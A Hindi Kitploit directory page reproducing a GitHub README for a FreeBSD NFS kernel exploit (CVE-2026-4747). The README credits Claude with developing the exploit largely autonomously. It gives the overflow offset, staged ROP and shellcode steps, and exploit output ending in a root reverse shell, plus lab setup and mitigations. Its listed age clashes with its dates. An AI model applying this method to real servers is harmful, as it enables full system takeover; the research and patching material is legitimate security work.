Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-4747 — # FreeBSD CVE-2026-4747 के लिए रिमोट कर्नेल RCE एक्सप्लॉइट kgssapi.ko में स्टैक बफर ओवरफ्लो, जो ROP चेन और शेलकोड के माध्यम से रूट शेल तक पहुंच प्रदान करता है। | Kitploit
उपकरण/GitHubGitHub/kaleth4/cve-2026-4747
शोषण फ्रेमवर्कभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHubkaleth4/cve-2026-4747

CVE-2026-4747

# FreeBSD CVE-2026-4747 के लिए रिमोट कर्नेल RCE एक्सप्लॉइट kgssapi.ko में स्टैक बफर ओवरफ्लो, जो ROP चेन और शेलकोड के माध्यम से रूट शेल तक पहुंच प्रदान करता है।

रिपॉजिटरी देखें
35 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
root@kitploit:~
  ____ __     ______       ____   ___ ____   __          _  _____ _  _  ___ 
 / ___/\ \   / / ___|     |___ \ / _ \___ \  \ \        | ||___  | || ||__ \
| |    \ \ / /| |    ___    __) | | | |__) |  \ \   _   | |   / /| || |_  ) |
| |___  \ V / | |___|___| / __/| |_| / __/    \ \ | |__| |  / / |__   _|/ / 
 \____|  \_/   \____|    |_____|\___/_____|    \_\ \____/  /_/      |_||___|

CVE-2026-4747 — FreeBSD रिमोट कर्नेल RCE

kgssapi.ko में स्टैक बफर ओवरफ्लो → ~4 घंटे में रूट शेल

CVE CVSS Type OS

Status
AI

"किसी AI द्वारा खोजा और शोषित किया गया पहला रिमोट कर्नेल RCE एक्सप्लॉइट। कुल समय: ~4 घंटे का वास्तविक कार्य।"

— Nicholas Carlini द्वारा Claude (Anthropic) का उपयोग करके खोजा गया · 26 मार्च 2026 को प्रकाशित


अनुक्रमणिका

  • विवरण
  • समयरेखा
  • बग का तकनीकी विश्लेषण
  • शोषण पद्धति
  • एक्सप्लॉइट क्रियाशील
  • कमजोर वातावरण की स्थापना
  • शमन
  • निष्कर्ष
  • अस्वीकरण

📋 विवरण

CVE-2026-4747 kgssapi.ko में स्थित एक स्टैक बफर ओवरफ्लो (stack buffer overflow) भेद्यता है, जो NFS के लिए RPCSEC_GSS प्रमाणीकरण लागू करने वाला FreeBSD कर्नेल मॉड्यूल है।

svc_rpc_gss_validate() फ़ंक्शन हमलावर द्वारा नियंत्रित एक क्रेडेंशियल बॉडी को स्टैक पर 128-बाइट बफर (rpchdr[]) में आकार की जाँच किए बिना कॉपी करता है। चूँकि 32 बाइट पहले से ही RPC हेडर फ़ील्ड द्वारा घेरे गए हैं, केवल 96 बाइट खाली बचते हैं — लेकिन XDR परत 400 बाइट तक के क्रेडेंशियल की अनुमति देती है, जिससे 304 बाइट का ओवरफ्लो होता है।

तकनीकी डेटा

फ़ील्डमान
CVE IDCVE-2026-4747
CWECWE-121 (स्टैक-आधारित बफर ओवरफ्लो)
घटकkgssapi.ko / librpcgss_sec
प्रोटोकॉलNFS / RPCSEC_GSS / Kerberos
आवश्यक विशेषाधिकारवैध Kerberos टिकट (निम्न विशेषाधिकार)
प्रभावरिमोट कर्नेल कोड निष्पादन → uid 0
CVSS9.8 क्रिटिकल
पैच किया गयाFreeBSD-SA-26:08.rpcsec_gss

📅 समयरेखा

root@kitploit:~
26 मार्च 2026 ── FreeBSD FreeBSD-SA-26:08.rpcsec_gss प्रकाशित करता है
               क्रेडिट: "Nicholas Carlini using Claude, Anthropic"

29 मार्च 2026 ── 09:45 AM PDT: Claude से एक्सप्लॉइट विकसित करने का अनुरोध किया गया
               05:00 PM PDT: Claude कार्यशील रूट शेल प्रदान करता है

               कुल: ~7 घंटे वॉल क्लॉक / ~4 घंटे Claude का वास्तविक कार्य
               मानव इस प्रक्रिया के अधिकांश समय AFK था।

🔬 बग का तकनीकी विश्लेषण

ओवरफ्लो

root@kitploit:~
/* svc_rpc_gss_validate() में — kgssapi.ko */
uint8_t rpchdr[128];  /* स्टैक पर बफर */

/* 32 बाइट पहले से ही RPC हेडर फ़ील्ड द्वारा उपभोग किए गए */
/* केवल 96 बाइट खाली बचते हैं                       */

/* XDR 400 बाइट तक के क्रेडेंशियल की अनुमति देता है        */
/* 400 - 96 = 304 बाइट का ओवरफ्लो → RIP हाईजैक    */
memcpy(rpchdr, credential_body, credential_len);  /* ← BUG: आकार की जाँच नहीं */

यह बिना शमन के शोषण योग्य क्यों है

FreeBSD 14.x में नहीं है:

  • KASLR — कर्नेल पते निश्चित और पूर्वानुमानित
  • पूर्णांक सरणियों (int32_t[]) में स्टैक कैनरी

यह ओवरफ्लो → RIP नियंत्रण को सीधा बनाता है।

शोषण मार्ग

root@kitploit:~
हमलावर (नेटवर्क)
    │
    │  nfs/target@REALM के लिए वैध Kerberos टिकट
    │
    ▼
NFS सर्वर (पोर्ट 2049/TCP)
    │
    │  credential_len = 400 के साथ RPCSEC_GSS अनुरोध
    │
    ▼
svc_rpc_gss_validate() ← कर्नेल रिंग 0
    │
    │  आकार की जाँच के बिना memcpy
    │  [128 बाइट बफर + 304 बाइट ओवरफ्लो]
    │
    ▼
स्टैक स्मैशिंग → नियंत्रित RIP → ROP चेन → शेलकोड
    │
    ▼
kproc_create() + kern_execve("/bin/sh") → uid=0 रिवर्स शेल

⚔️ शोषण पद्धति

Claude ने advisory से रूट शेल तक पहुँचने के लिए 6 अलग-अलग समस्याओं को हल किया:

चरण 0: प्रयोगशाला की स्थापना

root@kitploit:~
# FreeBSD 14.4-RELEASE VM जिसमें:
# - 2+ CPU (FreeBSD प्रति CPU 8 NFS थ्रेड स्पॉन करता है; एक्सप्लॉइट को 15 राउंड चाहिए)
# - kgssapi.ko लोड किया गया
# - पोर्ट 2049 पर NFS सक्रिय
# - MIT Kerberos KDC कॉन्फ़िगर किया गया (कमजोर कोड तक पहुँचने के लिए आवश्यक)
# - QEMU पोर्ट फ़ॉरवर्डिंग: host:2049 → guest:2049, host:8888 → guest:88 (KDC)

# हमलावर पर महत्वपूर्ण Kerberos कॉन्फ़िगरेशन:
# /etc/krb5.conf
[libdefaults]
    rdns = false                        # इसके बिना: nfs/localhost@REALM के लिए टिकट (गलत)
    dns_canonicalize_hostname = false   # सर्वर KRB5KRB_AP_WRONG_PRINC के साथ अस्वीकार करता है

चरण 1: मल्टी-पैकेट रणनीति (स्टेज्ड राइट लूप)

शेलकोड 432 बाइट का है लेकिन प्रति पैकेट ROP चेन के लिए केवल 200 बाइट उपलब्ध हैं।

root@kitploit:~
राउंड  1:  ROP → pmap_change_prot(BSS, RWX)     ← BSS को निष्पादन योग्य बनाएं
राउंड 2-14: ROP → BSS में 32 बाइट शेलकोड लिखें (4 राइट × 8 बाइट)
राउंड 15: ROP → अंतिम बाइट लिखें + शेलकोड पर JUMP

प्रति राउंड बजट: 4 राइट × 40 बाइट = 160 बाइट + 24 बाइट exit = 184 बाइट ✓ (< 200)

चरण 2: थ्रेड्स से स्वच्छ निकास

root@kitploit:~
; प्रत्येक राउंड सामान्य रिटर्न के बजाय kthread_exit(0) के साथ समाप्त होता है
; सर्वर क्रैश नहीं होता — यह केवल एक NFS थ्रेड खो देता है
; 2 CPU के साथ: 16 थ्रेड उपलब्ध → 15 राउंड के लिए पर्याप्त

चरण 3: De Bruijn के साथ ऑफसेट डीबगिंग

root@kitploit:~
# De Bruijn अनुक्रम → प्रत्येक 8-बाइट सबस्ट्रिंग अद्वितीय है
# क्रेडेंशियल बॉडी के रूप में भेजें → कर्नेल क्रैश → क्रैश डंप से RIP पढ़ें
# डिसअसेंबली ऑफसेट 168 कहती थी → वास्तविक: 200 बाइट
# अंतर: GSS हेडर के 32 बाइट जो स्थैतिक विश्लेषण में शामिल नहीं थे

pattern = cyclic(400)  # 400 बाइट का De Bruijn
# क्रैश डंप: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200

चरण 4: कर्नेल → यूज़रलैंड संक्रमण

शेलकोड एक शुद्ध कर्नेल NFS थ्रेड में चलता है — बिना vmspace, बिना trapframe।

root@kitploit:~
/* चरण 1 (हाईजैक किए गए NFS थ्रेड के शेलकोड में): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit();  /* NFS थ्रेड को स्वच्छ रूप से मारें */

/* चरण 2 (नई प्रक्रिया में): */
/* 1. डीबग रजिस्टर साफ़ करें (हार्डवेयर बग - चरण 5 देखें) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");

/* 2. /bin/sh निष्पादित करें */
kern_execve("/bin/sh", args, envp);

/* 3. महत्वपूर्ण: P_KPROC फ्लैग साफ़ करें */
/* इसके बिना, fork_exit() kthread_exit() कॉल करता है और प्रक्रिया को मार देता है */
proc->p_flag &= ~P_KPROC;

/* 4. रिटर्न → fork_exit() → userret() → iretq → रिंग 3 → uid=0 शेल */

चरण 5: हार्डवेयर बग — डीबग रजिस्टर (DR7)

root@kitploit:~
लक्षण: चाइल्ड प्रक्रिया वैध निर्देश पर trap 1 (डीबग अपवाद) के साथ क्रैश होती है।
कारण: kproc_create/fork1 पैरेंट का PCB कॉपी करता है, DDB के ब्रेकपॉइंट विरासत में मिलते हैं
       जो एक्सप्लॉइट विकास के दौरान पिछले क्रैश से बचे थे।

फिक्स: kproc_create से पहले दो निर्देश:
  xor eax, eax
  mov dr7, rax    ← सभी हार्डवेयर ब्रेकपॉइंट अक्षम करें

🖥️ एक्सप्लॉइट क्रियाशील

root@kitploit:~
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS रिमोट कर्नेल RCE
  स्टैक ओवरफ्लो → ROP → शेलकोड → uid 0 रिवर्स शेल
==============================================================

  लक्ष्य:   127.0.0.1:2049
  कॉलबैक: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  शेलकोड: 432 बाइट (54 qwords)
  डिलीवरी:  15 राउंड (1 pmap + 14 राइट)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX)
  [+] BSS अब RWX है

  [R2/15]  राइट (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  राइट (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] राइट + EXECUTE → JUMP 0xffffffff8198a800

  [*] शेलकोड डिलीवर और निष्पादित हो रहा है।
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] रिवर्स शेल → 10.0.2.2:4444

  [+] 127.0.0.1:41320 से कनेक्शन
  [+] शेल मिल गया!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

🧪 कमजोर वातावरण की स्थापना

QEMU (GDB के साथ डीबगिंग के लिए अनुशंसित)

root@kitploit:~
# FreeBSD 14.4-RELEASE डाउनलोड करें
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso

# डिस्क बनाएं और 2+ CPU के साथ VM बूट करें
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
  -hda freebsd-vuln.qcow2 \
  -cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
  -m 2G \
  -smp 2 \                    # 16+ NFS थ्रेड के लिए 2+ CPU
  -net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -net nic \
  -nographic 2>&1 | tee qemu.log   # क्रैश डंप पढ़ने के लिए लॉग
root@kitploit:~
# FreeBSD के अंदर: NFS + Kerberos कॉन्फ़िगर करें
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf

# बेसिक KDC सेटअप
pkg install heimdal
# प्रिंसिपल बनाएं: nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]

VMware (KDC टनल के बिना विकल्प)

root@kitploit:~
1. VMware में FreeBSD 14.4-RELEASE स्थापित करें
2. Network Adapter में: "NAT" या "Host-only" चुनें
3. VMware NAT में पोर्ट फ़ॉरवर्डिंग कॉन्फ़िगर करें:
   - Host 2049 TCP → Guest 2049
   - Host 88 TCP/UDP → Guest 88 (KDC)
4. QEMU जैसा ही NFS/Kerberos सेटअप
5. हमलावर के /etc/krb5.conf में:
   kdc = 127.0.0.1:88   (पोर्ट फ़ॉरवर्ड की ओर इशारा करता है)

🛡️ शमन

तत्काल पैच

root@kitploit:~
# FreeBSD को पैच किए गए संस्करण में अपडेट करें
freebsd-update fetch install

# सत्यापित करें कि advisory पैच हो गया है
freebsd-version -k  # SA-26:08 के बाद का संस्करण दिखाना चाहिए

वैकल्पिक शमन

root@kitploit:~
# 1. यदि RPCSEC_GSS आवश्यक नहीं है तो kgssapi अक्षम करें
kldunload kgssapi
# /boot/loader.conf में:
# kgssapi_load="NO"

# 2. फ़ायरवॉल से NFS एक्सेस प्रतिबंधित करें
ipfw add deny tcp from any to any 2049 not via lo0
# या pf के साथ:
# block in quick on em0 proto tcp to port 2049

# 3. केवल विश्वसनीय IP से Kerberos प्रमाणीकरण आवश्यक करें
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0

🏁 निष्कर्ष

कंप्यूटर दशकों से फ़ज़र्स के साथ बग ढूंढ रहे हैं। लेकिन बग ढूंढना और उसका शोषण करना पूरी तरह से अलग चीजें हैं। एक्सप्लॉइट विकास के लिए कर्नेल को समझना, ROP चेन बनाना, मेमोरी लेआउट संभालना, क्रैश डीबग करना और कुछ विफल होने पर अनुकूलन करना आवश्यक है।

यह हमेशा विशेष रूप से मनुष्यों का क्षेत्र माना जाता था।

CVE-2026-4747 साबित करता है कि वह रेखा स्थानांतरित हो गई है।

Claude ने ~4 घंटे में स्वायत्त रूप से कर्नेल एक्सप्लॉइट विकास की 6 समस्याओं को हल किया: लैब सेटअप, मल्टी-पैकेट डिलीवरी, स्वच्छ थ्रेड निकास, ऑफसेट डीबगिंग, कर्नेल-से-यूज़रलैंड संक्रमण, और एक अप्रलेखित हार्डवेयर ब्रेकपॉइंट बग। विभिन्न रणनीतियों का उपयोग करते हुए दो कार्यशील एक्सप्लॉइट। दोनों पहले प्रयास में काम कर गए।


⚠️ अस्वीकरण

यह रिपॉजिटरी विशेष रूप से साइबर सुरक्षा अनुसंधान, तकनीकी दस्तावेज़ीकरण और शैक्षिक उद्देश्यों के लिए है। यहां प्रलेखित एक्सप्लॉइट एक नियंत्रित वातावरण में विकसित किया गया था और प्रकाशन से पहले FreeBSD अनुरक्षकों को जिम्मेदारी से रिपोर्ट किया गया था। स्पष्ट और लिखित प्राधिकरण के बिना सिस्टम के खिलाफ उपयोग न करें। लेखक दुरुपयोग के लिए जिम्मेदार नहीं है।


मूल क्रेडिट: Nicholas Carlini + Claude (Anthropic) Advisory: FreeBSD-SA-26:08.rpcsec_gss

स्टैक ओवरफ्लो → ROP → शेलकोड → kproc_create → iretq → uid=0

टूल डाउनलोड करें